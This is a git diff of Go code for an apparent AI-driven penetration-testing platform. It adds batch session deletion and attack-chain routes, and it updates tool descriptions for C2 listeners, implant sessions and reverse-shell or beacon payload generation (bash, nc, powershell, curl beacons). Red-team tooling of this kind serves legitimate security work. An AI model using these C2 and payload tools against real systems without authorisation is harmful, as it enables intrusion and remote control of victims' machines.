func (a *Agent) formatMinimalNotification(executionID string, toolName string, size int, lineCount int, filePath string) string {
var sb strings.Builder
sb.WriteString(fmt.Sprintf("工具执行完成。结果已保存(ID: %s)。\n\n", executionID))
sb.WriteString("结果信息:\n")
sb.WriteString(fmt.Sprintf(" - 工具: %s\n", toolName))
sb.WriteString(fmt.Sprintf(" - 大小: %d 字节 (%.2f KB)\n", size, float64(size)/1024))
sb.WriteString(fmt.Sprintf(" - 行数: %d 行\n", lineCount))
if filePath != "" {
sb.WriteString(fmt.Sprintf(" - 文件路径: %s\n", filePath))
}
sb.WriteString("\n")
sb.WriteString("推荐使用 query_execution_result 工具查询完整结果:\n")
sb.WriteString(fmt.Sprintf(" - 查询第一页: query_execution_result(execution_id=\"%s\", page=1, limit=100)\n", executionID))
sb.WriteString(fmt.Sprintf(" - 搜索关键词: query_execution_result(execution_id=\"%s\", search=\"关键词\")\n", executionID))
sb.WriteString(fmt.Sprintf(" - 过滤条件: query_execution_result(execution_id=\"%s\", filter=\"error\")\n", executionID))
sb.WriteString(fmt.Sprintf(" - 正则匹配: query_execution_result(execution_id=\"%s\", search=\"\\\\d+\\\\.\\\\d+\\\\.\\\\d+\\\\.\\\\d+\", use_regex=true)\n", executionID))
sb.WriteString("\n")
if filePath != "" {
sb.WriteString("如果 query_execution_result 工具不满足需求,也可以使用其他工具处理文件:\n")
sb.WriteString("\n")
sb.WriteString("**分段读取示例:**\n")
sb.WriteString(fmt.Sprintf(" - 查看前100行: exec(command=\"head\", args=[\"-n\", \"100\", \"%s\"])\n", filePath))
sb.WriteString(fmt.Sprintf(" - 查看后100行: exec(command=\"tail\", args=[\"-n\", \"100\", \"%s\"])\n", filePath))
sb.WriteString(fmt.Sprintf(" - 查看第50-150行: exec(command=\"sed\", args=[\"-n\", \"50,150p\", \"%s\"])\n", filePath))
sb.WriteString("\n")
sb.WriteString("**搜索和正则匹配示例:**\n")
sb.WriteString(fmt.Sprintf(" - 搜索关键词: exec(command=\"grep\", args=[\"关键词\", \"%s\"])\n", filePath))
sb.WriteString(fmt.Sprintf(" - 正则匹配IP地址: exec(command=\"grep\", args=[\"-E\", \"\\\\d+\\\\.\\\\d+\\\\.\\\\d+\\\\.\\\\d+\", \"%s\"])\n", filePath))
sb.WriteString(fmt.Sprintf(" - 不区分大小写搜索: exec(command=\"grep\", args=[\"-i\", \"关键词\", \"%s\"])\n", filePath))
sb.WriteString(fmt.Sprintf(" - 显示匹配行号: exec(command=\"grep\", args=[\"-n\", \"关键词\", \"%s\"])\n", filePath))
sb.WriteString("\n")
sb.WriteString("**过滤和统计示例:**\n")
sb.WriteString(fmt.Sprintf(" - 统计总行数: exec(command=\"wc\", args=[\"-l\", \"%s\"])\n", filePath))
sb.WriteString(fmt.Sprintf(" - 过滤包含error的行: exec(command=\"grep\", args=[\"error\", \"%s\"])\n", filePath))
sb.WriteString(fmt.Sprintf(" - 排除空行: exec(command=\"grep\", args=[\"-v\", \"^$\", \"%s\"])\n", filePath))
sb.WriteString("\n")
sb.WriteString("**完整读取(不推荐大文件):**\n")
sb.WriteString(fmt.Sprintf(" - 使用 cat 工具: cat(file=\"%s\")\n", filePath))
sb.WriteString(fmt.Sprintf(" - 使用 exec 工具: exec(command=\"cat\", args=[\"%s\"])\n", filePath))
sb.WriteString("\n")
sb.WriteString("**注意:**\n")
sb.WriteString(" - 直接读取大文件可能会再次触发大结果保存机制\n")
sb.WriteString(" - 建议优先使用分段读取和搜索功能,避免一次性加载整个文件\n")
sb.WriteString(" - 正则表达式语法遵循标准 POSIX 正则表达式规范\n")
}
return sb.String()
}
// UpdateConfig 更新OpenAI配置 // UpdateConfig 更新OpenAI配置
func (a *Agent) UpdateConfig(cfg *config.OpenAIConfig) { func (a *Agent) UpdateConfig(cfg *config.OpenAIConfig) {
a.mu.Lock() a.mu.Lock()
@@ -923,6 +788,23 @@ func (a *Agent) RecordLocalToolExecution(toolName string, args map[string]interf
return a.mcpServer.RecordCompletedToolInvocation(toolName, args, resultText, invokeErr) return a.mcpServer.RecordCompletedToolInvocation(toolName, args, resultText, invokeErr)
} }
// UpdateMCPExecutionDisplayResult 将监控库中的工具结果更新为送入模型的展示正文(reduction 后)。
func (a *Agent) UpdateMCPExecutionDisplayResult(executionID, resultText string) {
if a == nil || strings.TrimSpace(executionID) == "" {
return
}
text := resultText
if strings.TrimSpace(text) == "" {
text = "(无输出)"
}
tr := &mcp.ToolResult{
Content: []mcp.Content{{Type: "text", Text: text}},
}
if a.mcpServer != nil {
_ = a.mcpServer.UpdateToolExecutionResult(executionID, tr)
}
}
// CancelMCPToolExecutionWithNote 取消一次进行中的 MCP 工具(先内部后外部),与监控页「终止工具」一致;note 非空时合并进返回给模型的文本。 // CancelMCPToolExecutionWithNote 取消一次进行中的 MCP 工具(先内部后外部),与监控页「终止工具」一致;note 非空时合并进返回给模型的文本。
func (a *Agent) CancelMCPToolExecutionWithNote(executionID, note string) bool { func (a *Agent) CancelMCPToolExecutionWithNote(executionID, note string) bool {
executionID = strings.TrimSpace(executionID) executionID = strings.TrimSpace(executionID)
+4 -222
View File
@@ -1,21 +1,16 @@
package agent package agent
import ( import (
"os"
"path/filepath"
"strings"
"testing" "testing"
"time"
"cyberstrike-ai/internal/config" "cyberstrike-ai/internal/config"
"cyberstrike-ai/internal/mcp" "cyberstrike-ai/internal/mcp"
"cyberstrike-ai/internal/storage"
"go.uber.org/zap" "go.uber.org/zap"
) )
// setupTestAgent 创建测试用的Agent // setupTestAgent 创建测试用的Agent
func setupTestAgent(t *testing.T) (*Agent, *storage.FileResultStorage) { func setupTestAgent(t *testing.T) *Agent {
logger := zap.NewNop() logger := zap.NewNop()
mcpServer := mcp.NewServer(logger) mcpServer := mcp.NewServer(logger)
@@ -26,205 +21,10 @@ func setupTestAgent(t *testing.T) (*Agent, *storage.FileResultStorage) {
} }
agentCfg := &config.AgentConfig{ agentCfg := &config.AgentConfig{
MaxIterations: 10, MaxIterations: 10,
LargeResultThreshold: 100, // 设置较小的阈值便于测试
ResultStorageDir: "",
} }
agent := NewAgent(openAICfg, agentCfg, mcpServer, nil, logger, 10) return NewAgent(openAICfg, agentCfg, mcpServer, nil, logger, 10)
// 创建测试存储
tmpDir := filepath.Join(os.TempDir(), "test_agent_storage_"+time.Now().Format("20060102_150405"))
testStorage, err := storage.NewFileResultStorage(tmpDir, logger)
if err != nil {
t.Fatalf("创建测试存储失败: %v", err)
}
agent.SetResultStorage(testStorage)
return agent, testStorage
}
func TestAgent_FormatMinimalNotification(t *testing.T) {
agent, testStorage := setupTestAgent(t)
_ = testStorage // 避免未使用变量警告
executionID := "test_exec_001"
toolName := "nmap_scan"
size := 50000
lineCount := 1000
filePath := "tmp/test_exec_001.txt"
notification := agent.formatMinimalNotification(executionID, toolName, size, lineCount, filePath)
// 验证通知包含必要信息
if !strings.Contains(notification, executionID) {
t.Errorf("通知中应该包含执行ID: %s", executionID)
}
if !strings.Contains(notification, toolName) {
t.Errorf("通知中应该包含工具名称: %s", toolName)
}
if !strings.Contains(notification, "50000") {
t.Errorf("通知中应该包含大小信息")
}
if !strings.Contains(notification, "1000") {
t.Errorf("通知中应该包含行数信息")
}
if !strings.Contains(notification, "query_execution_result") {
t.Errorf("通知中应该包含查询工具的使用说明")
}
}
func TestAgent_ExecuteToolViaMCP_LargeResult(t *testing.T) {
agent, _ := setupTestAgent(t)
// 创建模拟的MCP工具结果(大结果)
largeResult := &mcp.ToolResult{
Content: []mcp.Content{
{
Type: "text",
Text: strings.Repeat("This is a test line with some content.\n", 1000), // 约50KB
},
},
IsError: false,
}
// 模拟MCP服务器返回大结果
// 由于我们需要模拟CallTool的行为,这里需要创建一个mock或者使用实际的MCP服务器
// 为了简化测试,我们直接测试结果处理逻辑
// 设置阈值
agent.mu.Lock()
agent.largeResultThreshold = 1000 // 设置较小的阈值
agent.mu.Unlock()
// 创建执行ID
executionID := "test_exec_large_001"
toolName := "test_tool"
// 格式化结果
var resultText strings.Builder
for _, content := range largeResult.Content {
resultText.WriteString(content.Text)
resultText.WriteString("\n")
}
resultStr := resultText.String()
resultSize := len(resultStr)
// 检测大结果并保存
agent.mu.RLock()
threshold := agent.largeResultThreshold
storage := agent.resultStorage
agent.mu.RUnlock()
if resultSize > threshold && storage != nil {
// 保存大结果
err := storage.SaveResult(executionID, toolName, resultStr)
if err != nil {
t.Fatalf("保存大结果失败: %v", err)
}
// 生成通知
lines := strings.Split(resultStr, "\n")
filePath := storage.GetResultPath(executionID)
notification := agent.formatMinimalNotification(executionID, toolName, resultSize, len(lines), filePath)
// 验证通知格式
if !strings.Contains(notification, executionID) {
t.Errorf("通知中应该包含执行ID")
}
// 验证结果已保存
savedResult, err := storage.GetResult(executionID)
if err != nil {
t.Fatalf("获取保存的结果失败: %v", err)
}
if savedResult != resultStr {
t.Errorf("保存的结果与原始结果不匹配")
}
} else {
t.Fatal("大结果应该被检测到并保存")
}
}
func TestAgent_ExecuteToolViaMCP_SmallResult(t *testing.T) {
agent, _ := setupTestAgent(t)
// 创建小结果
smallResult := &mcp.ToolResult{
Content: []mcp.Content{
{
Type: "text",
Text: "Small result content",
},
},
IsError: false,
}
// 设置较大的阈值
agent.mu.Lock()
agent.largeResultThreshold = 100000 // 100KB
agent.mu.Unlock()
// 格式化结果
var resultText strings.Builder
for _, content := range smallResult.Content {
resultText.WriteString(content.Text)
resultText.WriteString("\n")
}
resultStr := resultText.String()
resultSize := len(resultStr)
// 检测大结果
agent.mu.RLock()
threshold := agent.largeResultThreshold
storage := agent.resultStorage
agent.mu.RUnlock()
if resultSize > threshold && storage != nil {
t.Fatal("小结果不应该被保存")
}
// 小结果应该直接返回
if resultSize <= threshold {
// 这是预期的行为
if resultStr == "" {
t.Fatal("小结果应该直接返回,不应该为空")
}
}
}
func TestAgent_SetResultStorage(t *testing.T) {
agent, _ := setupTestAgent(t)
// 创建新的存储
tmpDir := filepath.Join(os.TempDir(), "test_new_storage_"+time.Now().Format("20060102_150405"))
newStorage, err := storage.NewFileResultStorage(tmpDir, zap.NewNop())
if err != nil {
t.Fatalf("创建新存储失败: %v", err)
}
// 设置新存储
agent.SetResultStorage(newStorage)
// 验证存储已更新
agent.mu.RLock()
currentStorage := agent.resultStorage
agent.mu.RUnlock()
if currentStorage != newStorage {
t.Fatal("存储未正确更新")
}
// 清理
os.RemoveAll(tmpDir)
} }
func TestAgent_NewAgent_DefaultValues(t *testing.T) { func TestAgent_NewAgent_DefaultValues(t *testing.T) {
@@ -243,14 +43,6 @@ func TestAgent_NewAgent_DefaultValues(t *testing.T) {
if agent.maxIterations != 30 { if agent.maxIterations != 30 {
t.Errorf("默认迭代次数不匹配。期望: 30, 实际: %d", agent.maxIterations) t.Errorf("默认迭代次数不匹配。期望: 30, 实际: %d", agent.maxIterations)
} }
agent.mu.RLock()
threshold := agent.largeResultThreshold
agent.mu.RUnlock()
if threshold != 50*1024 {
t.Errorf("默认阈值不匹配。期望: %d, 实际: %d", 50*1024, threshold)
}
} }
func TestAgent_NewAgent_CustomConfig(t *testing.T) { func TestAgent_NewAgent_CustomConfig(t *testing.T) {
@@ -264,9 +56,7 @@ func TestAgent_NewAgent_CustomConfig(t *testing.T) {
} }
agentCfg := &config.AgentConfig{ agentCfg := &config.AgentConfig{
MaxIterations: 20, MaxIterations: 20,
LargeResultThreshold: 100 * 1024, // 100KB
ResultStorageDir: "custom_tmp",
} }
agent := NewAgent(openAICfg, agentCfg, mcpServer, nil, logger, 15) agent := NewAgent(openAICfg, agentCfg, mcpServer, nil, logger, 15)
@@ -274,12 +64,4 @@ func TestAgent_NewAgent_CustomConfig(t *testing.T) {
if agent.maxIterations != 15 { if agent.maxIterations != 15 {
t.Errorf("迭代次数不匹配。期望: 15, 实际: %d", agent.maxIterations) t.Errorf("迭代次数不匹配。期望: 15, 实际: %d", agent.maxIterations)
} }
agent.mu.RLock()
threshold := agent.largeResultThreshold
agent.mu.RUnlock()
if threshold != 100*1024 {
t.Errorf("阈值不匹配。期望: %d, 实际: %d", 100*1024, threshold)
}
} }
@@ -1,7 +1,7 @@
package agent package agent
import ( import (
"cyberstrike-ai/internal/project" "cyberstrike-ai/internal/projectprompt"
) )
// DefaultSingleAgentSystemPrompt 单代理(Eino ADK / MCP)内置系统提示;可通过 agent.system_prompt_path 覆盖为文件。 // DefaultSingleAgentSystemPrompt 单代理(Eino ADK / MCP)内置系统提示;可通过 agent.system_prompt_path 覆盖为文件。
@@ -107,7 +107,7 @@ func DefaultSingleAgentSystemPrompt() string {
- 若最近一步得到 404/空结果/无效响应,不得直接结束;至少再进行一次“同目标不同策略”的验证(如变更路径、参数、请求方法、上下文来源)。 - 若最近一步得到 404/空结果/无效响应,不得直接结束;至少再进行一次“同目标不同策略”的验证(如变更路径、参数、请求方法、上下文来源)。
- 避免无效空转:同一工具+同类参数连续失败 3 次后,必须切换策略(改工具、改入口、改假设)并说明切换原因。 - 避免无效空转:同一工具+同类参数连续失败 3 次后,必须切换策略(改工具、改入口、改假设)并说明切换原因。
` + project.FactRecordingBlackboardSection(false) + ` ` + projectprompt.FactRecordingBlackboardSection(false) + `
## 技能库(Skills)与知识库 ## 技能库(Skills)与知识库
+9 -25
View File
@@ -28,7 +28,6 @@ import (
"cyberstrike-ai/internal/robot" "cyberstrike-ai/internal/robot"
"cyberstrike-ai/internal/security" "cyberstrike-ai/internal/security"
"cyberstrike-ai/internal/skillpackage" "cyberstrike-ai/internal/skillpackage"
"cyberstrike-ai/internal/storage"
"github.com/gin-gonic/gin" "github.com/gin-gonic/gin"
"github.com/google/uuid" "github.com/google/uuid"
@@ -130,23 +129,6 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
externalMCPMgr.StartAllEnabled() externalMCPMgr.StartAllEnabled()
} }
// 初始化结果存储
resultStorageDir := "tmp"
if cfg.Agent.ResultStorageDir != "" {
resultStorageDir = cfg.Agent.ResultStorageDir
}
// 确保存储目录存在
if err := os.MkdirAll(resultStorageDir, 0755); err != nil {
return nil, fmt.Errorf("创建结果存储目录失败: %w", err)
}
// 创建结果存储实例
resultStorage, err := storage.NewFileResultStorage(resultStorageDir, log.Logger)
if err != nil {
return nil, fmt.Errorf("初始化结果存储失败: %w", err)
}
// 创建Agent // 创建Agent
maxIterations := cfg.Agent.MaxIterations maxIterations := cfg.Agent.MaxIterations
if maxIterations <= 0 { if maxIterations <= 0 {
@@ -155,12 +137,6 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
agent := agent.NewAgent(&cfg.OpenAI, &cfg.Agent, mcpServer, externalMCPMgr, log.Logger, maxIterations) agent := agent.NewAgent(&cfg.OpenAI, &cfg.Agent, mcpServer, externalMCPMgr, log.Logger, maxIterations)
agent.UpdateToolDescriptionMode(cfg.Security.ToolDescriptionMode) agent.UpdateToolDescriptionMode(cfg.Security.ToolDescriptionMode)
// 设置结果存储到Agent
agent.SetResultStorage(resultStorage)
// 设置结果存储到Executor(用于查询工具)
executor.SetResultStorage(resultStorage)
// 初始化知识库模块(如果启用) // 初始化知识库模块(如果启用)
var knowledgeManager *knowledge.Manager var knowledgeManager *knowledge.Manager
var knowledgeRetriever *knowledge.Retriever var knowledgeRetriever *knowledge.Retriever
@@ -394,7 +370,7 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
conversationHandler.SetAudit(auditSvc) conversationHandler.SetAudit(auditSvc)
auditHandler := handler.NewAuditHandler(db, auditSvc, log.Logger) auditHandler := handler.NewAuditHandler(db, auditSvc, log.Logger)
robotHandler := handler.NewRobotHandler(cfg, db, agentHandler, log.Logger) robotHandler := handler.NewRobotHandler(cfg, db, agentHandler, log.Logger)
openAPIHandler := handler.NewOpenAPIHandler(db, log.Logger, resultStorage, conversationHandler, agentHandler) openAPIHandler := handler.NewOpenAPIHandler(db, log.Logger, conversationHandler, agentHandler)
// 创建 App 实例(部分字段稍后填充) // 创建 App 实例(部分字段稍后填充)
app := &App{ app := &App{
@@ -853,6 +829,7 @@ func setupRoutes(
protected.PUT("/batch-tasks/:queueId/schedule-enabled", agentHandler.SetBatchQueueScheduleEnabled) protected.PUT("/batch-tasks/:queueId/schedule-enabled", agentHandler.SetBatchQueueScheduleEnabled)
protected.DELETE("/batch-tasks/:queueId", agentHandler.DeleteBatchQueue) protected.DELETE("/batch-tasks/:queueId", agentHandler.DeleteBatchQueue)
protected.PUT("/batch-tasks/:queueId/tasks/:taskId", agentHandler.UpdateBatchTask) protected.PUT("/batch-tasks/:queueId/tasks/:taskId", agentHandler.UpdateBatchTask)
protected.POST("/batch-tasks/:queueId/tasks/:taskId/run", agentHandler.RunSingleBatchTask)
protected.POST("/batch-tasks/:queueId/tasks", agentHandler.AddBatchTask) protected.POST("/batch-tasks/:queueId/tasks", agentHandler.AddBatchTask)
protected.DELETE("/batch-tasks/:queueId/tasks/:taskId", agentHandler.DeleteBatchTask) protected.DELETE("/batch-tasks/:queueId/tasks/:taskId", agentHandler.DeleteBatchTask)
@@ -900,6 +877,7 @@ func setupRoutes(
protected.POST("/config/apply", configHandler.ApplyConfig) protected.POST("/config/apply", configHandler.ApplyConfig)
protected.POST("/config/test-openai", configHandler.TestOpenAI) protected.POST("/config/test-openai", configHandler.TestOpenAI)
protected.POST("/config/test-vision", configHandler.TestVision) protected.POST("/config/test-vision", configHandler.TestVision)
protected.POST("/config/list-models", configHandler.ListModels)
// 系统设置 - 终端(执行命令,提高运维效率) // 系统设置 - 终端(执行命令,提高运维效率)
protected.POST("/terminal/run", terminalHandler.RunCommand) protected.POST("/terminal/run", terminalHandler.RunCommand)
@@ -1091,6 +1069,11 @@ func setupRoutes(
protected.GET("/projects/:id", projectHandler.GetProject) protected.GET("/projects/:id", projectHandler.GetProject)
protected.PUT("/projects/:id", projectHandler.UpdateProject) protected.PUT("/projects/:id", projectHandler.UpdateProject)
protected.DELETE("/projects/:id", projectHandler.DeleteProject) protected.DELETE("/projects/:id", projectHandler.DeleteProject)
protected.GET("/projects/:id/fact-graph", projectHandler.GetFactGraph)
protected.GET("/projects/:id/fact-edges", projectHandler.ListFactEdges)
protected.POST("/projects/:id/fact-edges", projectHandler.CreateFactEdge)
protected.DELETE("/projects/:id/fact-edges/:edgeId", projectHandler.DeleteFactEdge)
protected.POST("/projects/:id/promote-attack-chain/:conversationId", projectHandler.PromoteAttackChain)
protected.GET("/projects/:id/facts", projectHandler.ListFacts) protected.GET("/projects/:id/facts", projectHandler.ListFacts)
protected.POST("/projects/:id/facts", projectHandler.CreateFact) protected.POST("/projects/:id/facts", projectHandler.CreateFact)
protected.PUT("/projects/:id/facts/:factId", projectHandler.UpdateFact) protected.PUT("/projects/:id/facts/:factId", projectHandler.UpdateFact)
@@ -1131,6 +1114,7 @@ func setupRoutes(
c2Routes.POST("/listeners/:id/start", c2Handler.StartListener) c2Routes.POST("/listeners/:id/start", c2Handler.StartListener)
c2Routes.POST("/listeners/:id/stop", c2Handler.StopListener) c2Routes.POST("/listeners/:id/stop", c2Handler.StopListener)
c2Routes.GET("/sessions", c2Handler.ListSessions) c2Routes.GET("/sessions", c2Handler.ListSessions)
c2Routes.DELETE("/sessions", c2Handler.DeleteSessions)
c2Routes.GET("/sessions/:id", c2Handler.GetSession) c2Routes.GET("/sessions/:id", c2Handler.GetSession)
c2Routes.DELETE("/sessions/:id", c2Handler.DeleteSession) c2Routes.DELETE("/sessions/:id", c2Handler.DeleteSession)
c2Routes.PUT("/sessions/:id/sleep", c2Handler.SetSessionSleep) c2Routes.PUT("/sessions/:id/sleep", c2Handler.SetSessionSleep)
+38 -9
View File
@@ -61,6 +61,7 @@ func registerC2ListenerTool(s *mcp.Server, m *c2.Manager, l *zap.Logger, webList
- stop: 停止监听器(需 listener_id - stop: 停止监听器(需 listener_id
- delete: 删除监听器(需 listener_id - delete: 删除监听器(需 listener_id
监听器类型: tcp_reverse, http_beacon, https_beacon, websocket 监听器类型: tcp_reverse, http_beacon, https_beacon, websocket
tcp_reverse 默认仅接受 CSB1 加密 BeaconAES-GCM + ImplantToken)才登记会话;经典 bash/nc 反弹需在 config.allow_legacy_shell=true(公网不推荐)。
端口约束:create/update 的 bind_port 禁止与本平台 Web/API 所用端口相同。当前本服务该端口为 %d(配置项 server.port,随进程启动从配置文件加载)。若 bind_port 与此相同会导致本服务或监听器 bind 失败、Beacon/oneliner 误连到 Web 而非 C2。请为监听器另选空闲端口。`, webListenPort), 端口约束:create/update 的 bind_port 禁止与本平台 Web/API 所用端口相同。当前本服务该端口为 %d(配置项 server.port,随进程启动从配置文件加载)。若 bind_port 与此相同会导致本服务或监听器 bind 失败、Beacon/oneliner 误连到 Web 而非 C2。请为监听器另选空闲端口。`, webListenPort),
InputSchema: map[string]interface{}{ InputSchema: map[string]interface{}{
"type": "object", "type": "object",
@@ -74,7 +75,7 @@ func registerC2ListenerTool(s *mcp.Server, m *c2.Manager, l *zap.Logger, webList
"bind_port": map[string]interface{}{"type": "integer", "description": fmt.Sprintf("绑定端口(create 必填)。须 ≠ %d(当前本服务 Web/API 端口,配置 server.port", webListenPort), "minimum": 1, "maximum": 65535}, "bind_port": map[string]interface{}{"type": "integer", "description": fmt.Sprintf("绑定端口(create 必填)。须 ≠ %d(当前本服务 Web/API 端口,配置 server.port", webListenPort), "minimum": 1, "maximum": 65535},
"profile_id": map[string]interface{}{"type": "string", "description": "Malleable Profile ID"}, "profile_id": map[string]interface{}{"type": "string", "description": "Malleable Profile ID"},
"remark": map[string]interface{}{"type": "string", "description": "备注"}, "remark": map[string]interface{}{"type": "string", "description": "备注"},
"config": map[string]interface{}{"type": "object", "description": "高级配置(beacon 路径/TLS/OPSEC 等),create/update 可用"}, "config": map[string]interface{}{"type": "object", "description": "高级配置(beacon 路径/TLS/OPSEC 等),create/update 可用。tcp_reverse 可选 allow_legacy_shell:true 允许未加密经典 shell(默认 false"},
}, },
"required": []string{"action"}, "required": []string{"action"},
}, },
@@ -222,20 +223,23 @@ func registerC2SessionTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
s.RegisterTool(mcp.Tool{ s.RegisterTool(mcp.Tool{
Name: builtin.ToolC2Session, Name: builtin.ToolC2Session,
Description: `C2 会话管理。通过 action 参数选择操作: Description: `C2 会话管理。通过 action 参数选择操作:
- list: 列出会话(可按 listener_id/status/os/search 过滤) - list: 列出会话(可按 listener_id/status/os/search/suspicious 过滤)
- get: 获取会话详情及最近任务历史(需 session_id - get: 获取会话详情及最近任务历史(需 session_id
- set_sleep: 设置心跳间隔(需 session_id - set_sleep: 设置心跳间隔(需 session_id
- kill: 下发 exit 任务让 implant 退出(需 session_id - kill: 下发 exit 任务让 implant 退出(需 session_id
- delete: 删除会话记录(需 session_id`, - delete: 删除单个会话记录(需 session_id
- delete_batch: 批量删除会话(需 session_ids 数组)`,
InputSchema: map[string]interface{}{ InputSchema: map[string]interface{}{
"type": "object", "type": "object",
"properties": map[string]interface{}{ "properties": map[string]interface{}{
"action": map[string]interface{}{"type": "string", "description": "操作: list/get/set_sleep/kill/delete", "enum": []string{"list", "get", "set_sleep", "kill", "delete"}}, "action": map[string]interface{}{"type": "string", "description": "操作: list/get/set_sleep/kill/delete/delete_batch", "enum": []string{"list", "get", "set_sleep", "kill", "delete", "delete_batch"}},
"session_id": map[string]interface{}{"type": "string", "description": "会话 IDget/set_sleep/kill/delete 需要)"}, "session_id": map[string]interface{}{"type": "string", "description": "会话 IDget/set_sleep/kill/delete 需要)"},
"session_ids": map[string]interface{}{"type": "array", "items": map[string]interface{}{"type": "string"}, "description": "会话 ID 列表(delete_batch"},
"listener_id": map[string]interface{}{"type": "string", "description": "按监听器过滤(list"}, "listener_id": map[string]interface{}{"type": "string", "description": "按监听器过滤(list"},
"status": map[string]interface{}{"type": "string", "description": "按状态过滤: active/sleeping/dead/killedlist"}, "status": map[string]interface{}{"type": "string", "description": "按状态过滤: active/sleeping/dead/killedlist"},
"os": map[string]interface{}{"type": "string", "description": "按 OS 过滤: linux/windows/darwinlist"}, "os": map[string]interface{}{"type": "string", "description": "按 OS 过滤: linux/windows/darwinlist"},
"search": map[string]interface{}{"type": "string", "description": "模糊搜索 hostname/username/IPlist"}, "search": map[string]interface{}{"type": "string", "description": "模糊搜索 hostname/username/IPlist"},
"suspicious": map[string]interface{}{"type": "boolean", "description": "仅疑似误报:离线且 tcp_* / unknown / PID 0list"},
"limit": map[string]interface{}{"type": "integer", "description": "返回数量上限(list"}, "limit": map[string]interface{}{"type": "integer", "description": "返回数量上限(list"},
"sleep_seconds": map[string]interface{}{"type": "integer", "description": "心跳间隔秒数(set_sleep"}, "sleep_seconds": map[string]interface{}{"type": "integer", "description": "心跳间隔秒数(set_sleep"},
"jitter_percent": map[string]interface{}{"type": "integer", "description": "抖动百分比 0-100set_sleep"}, "jitter_percent": map[string]interface{}{"type": "integer", "description": "抖动百分比 0-100set_sleep"},
@@ -257,6 +261,9 @@ func registerC2SessionTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
if limit := int(getFloat64(params, "limit")); limit > 0 { if limit := int(getFloat64(params, "limit")); limit > 0 {
filter.Limit = limit filter.Limit = limit
} }
if v, ok := params["suspicious"].(bool); ok && v {
filter.Suspicious = true
}
sessions, err := m.DB().ListC2Sessions(filter) sessions, err := m.DB().ListC2Sessions(filter)
return makeC2Result(map[string]interface{}{"sessions": sessions, "count": len(sessions)}, err) return makeC2Result(map[string]interface{}{"sessions": sessions, "count": len(sessions)}, err)
@@ -274,8 +281,16 @@ func registerC2SessionTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
case "set_sleep": case "set_sleep":
sleep := int(getFloat64(params, "sleep_seconds")) sleep := int(getFloat64(params, "sleep_seconds"))
jitter := int(getFloat64(params, "jitter_percent")) jitter := int(getFloat64(params, "jitter_percent"))
err := m.DB().SetC2SessionSleep(id, sleep, jitter) task, err := m.SetSessionSleep(id, sleep, jitter)
return makeC2Result(map[string]interface{}{"updated": err == nil, "sleep_seconds": sleep, "jitter_percent": jitter}, err) out := map[string]interface{}{
"updated": err == nil,
"sleep_seconds": sleep,
"jitter_percent": jitter,
}
if task != nil {
out["task_id"] = task.ID
}
return makeC2Result(out, err)
case "kill": case "kill":
task, err := m.EnqueueTask(c2.EnqueueTaskInput{ task, err := m.EnqueueTask(c2.EnqueueTaskInput{
@@ -292,6 +307,17 @@ func registerC2SessionTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
err := m.DB().DeleteC2Session(id) err := m.DB().DeleteC2Session(id)
return makeC2Result(map[string]interface{}{"deleted": err == nil}, err) return makeC2Result(map[string]interface{}{"deleted": err == nil}, err)
case "delete_batch":
rawIDs, _ := params["session_ids"].([]interface{})
ids := make([]string, 0, len(rawIDs))
for _, v := range rawIDs {
if s, ok := v.(string); ok && strings.TrimSpace(s) != "" {
ids = append(ids, strings.TrimSpace(s))
}
}
n, err := m.DB().DeleteC2SessionsByIDs(ids)
return makeC2Result(map[string]interface{}{"deleted": n}, err)
default: default:
return makeC2Result(nil, fmt.Errorf("unknown action: %s", action)) return makeC2Result(nil, fmt.Errorf("unknown action: %s", action))
} }
@@ -491,11 +517,11 @@ func registerC2PayloadTool(s *mcp.Server, m *c2.Manager, l *zap.Logger, webListe
Name: builtin.ToolC2Payload, Name: builtin.ToolC2Payload,
Description: fmt.Sprintf(`C2 Payload 生成。通过 action 参数选择操作: Description: fmt.Sprintf(`C2 Payload 生成。通过 action 参数选择操作:
- oneliner: 生成单行 payload。kind 必须与监听器协议一致,否则会失败: - oneliner: 生成单行 payload。kind 必须与监听器协议一致,否则会失败:
• tcp_reverse裸 TCP 反弹,可用 kind: bash, nc, nc_mkfifo, python, perl, powershellbash 指 /dev/tcp 类,不是 HTTP • tcp_reverse默认仅支持 build 加密 Beacon;若监听器 config.allow_legacy_shell=true,才可用 kind: bash, nc, nc_mkfifo, python, perl, powershell。
• http_beacon / https_beacon / websocket:仅 HTTP(S) Beacon 轮询,oneliner 只能用 kind: curl_beacon(脚本内用 bash+curl,与「tcp 的 bash」不同)。curl_beacon 返回串末尾含「 &」用于把整个 bash -c 放后台;若用 exec/execute 同步执行,必须整段原样复制(含末尾 &)。若删掉 &,内部 while 死循环占满前台,调用会一直阻塞到超时/杀进程。 • http_beacon / https_beacon / websocket:仅 HTTP(S) Beacon 轮询,oneliner 只能用 kind: curl_beacon(脚本内用 bash+curl,与「tcp 的 bash」不同)。curl_beacon 返回串末尾含「 &」用于把整个 bash -c 放后台;若用 exec/execute 同步执行,必须整段原样复制(含末尾 &)。若删掉 &,内部 while 死循环占满前台,调用会一直阻塞到超时/杀进程。
需要经典 bash 反弹 shell 时:先 c2_listener create type=tcp_reverse,再对该监听器用 kind=bash 公网部署 tcp_reverse 请用 build 生成加密 Beacon,勿开启 allow_legacy_shell
• 省略 kind 时,会按监听器类型自动选第一个兼容类型(HTTP 系默认为 curl_beacon)。 • 省略 kind 时,会按监听器类型自动选第一个兼容类型(HTTP 系默认为 curl_beacon)。
- build: 交叉编译 beacon 二进制。支持 http_beacon / https_beacon / websocket / tcp_reversetcp_reverse 植入端回连后先发魔数 CSB1,再走与 HTTP 相同的 AES-GCM JSON 语义;未发魔数的连接仍按经典交互 shell 处理)。 - build: 交叉编译 beacon 二进制。支持 http_beacon / https_beacon / websocket / tcp_reversetcp_reverse 植入端回连后先发魔数 CSB1,再经 AES-GCM 解密且校验 ImplantToken 后才登记会话)。
依赖的监听器 bind_port 须避开本服务 Web 端口 %d(配置 server.port,与 c2_listener 描述一致),否则 Beacon 无法正确回连。`, webListenPort), 依赖的监听器 bind_port 须避开本服务 Web 端口 %d(配置 server.port,与 c2_listener 描述一致),否则 Beacon 无法正确回连。`, webListenPort),
